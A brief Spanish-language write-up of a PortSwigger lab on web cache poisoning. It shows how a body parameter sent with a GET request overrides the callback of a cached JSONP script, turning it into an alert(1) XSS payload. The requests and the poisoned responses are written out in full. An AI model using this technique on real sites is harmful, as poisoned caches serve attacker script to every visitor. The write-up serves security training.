8 - Web cache poisoning via a fat GET request

#cachepoisoning #xss #portswigger #writeup

Podemos usar find FAT GET

Acepta parametros POST en una petición GET :

GET /js/geolocate.js

callback=test

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
test({"country":"United Kingdom"});

La cosa sería enviarlo con ambos, como argumento y en el body , se pondrá el del body

GET /js/geolocate.js?callback=setCountryCookie

callback=alert(1)//

const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)//({"country":"United Kingdom"});